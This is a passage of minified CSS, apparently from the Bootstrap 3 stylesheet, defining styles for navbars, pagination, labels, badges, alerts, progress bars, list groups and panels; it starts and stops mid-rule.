1px}@media(min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}@media(min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media(min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media(min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media(max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media(min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-top:8px;margin-right:-15px;margin-bottom:8px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1)}@media(min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media(max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media(min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media(min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media(min-width:768px){.navbar-left{float:left !important}.navbar-right{float:right !important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media(max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#080808}@media(max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857143;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{z-index:2;color:#23527c;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:3;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;line-height:1.3333333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:middle;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 5px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{padding-right:15px;padding-left:15px;border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail a>img,.thumbnail>img{margin-right:auto;margin-left:auto}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item,button.list-group-item{color:#555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover,button.list-group-item:focus,button.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover,button.list-group-item-success:focus,button.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover,button.list-group-item-success.active,button.list-group-item-success.active:focus,button.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading,button.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover,button.list-group-item-info:focus,button.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover,button.list-group-item-info.active,button.list-group-item-info.active:focus,button.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover,button.list-group-item-warning:focus,button.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover,button.list-group-item-warning.active,button.list-group-item-warning.active:focus,button.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover,button.list-group-item-danger:focus,button.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover,button.list-group-item-danger.active,button.list-group-item-danger.active:focus,button.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table caption,.panel>.table-responsive>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr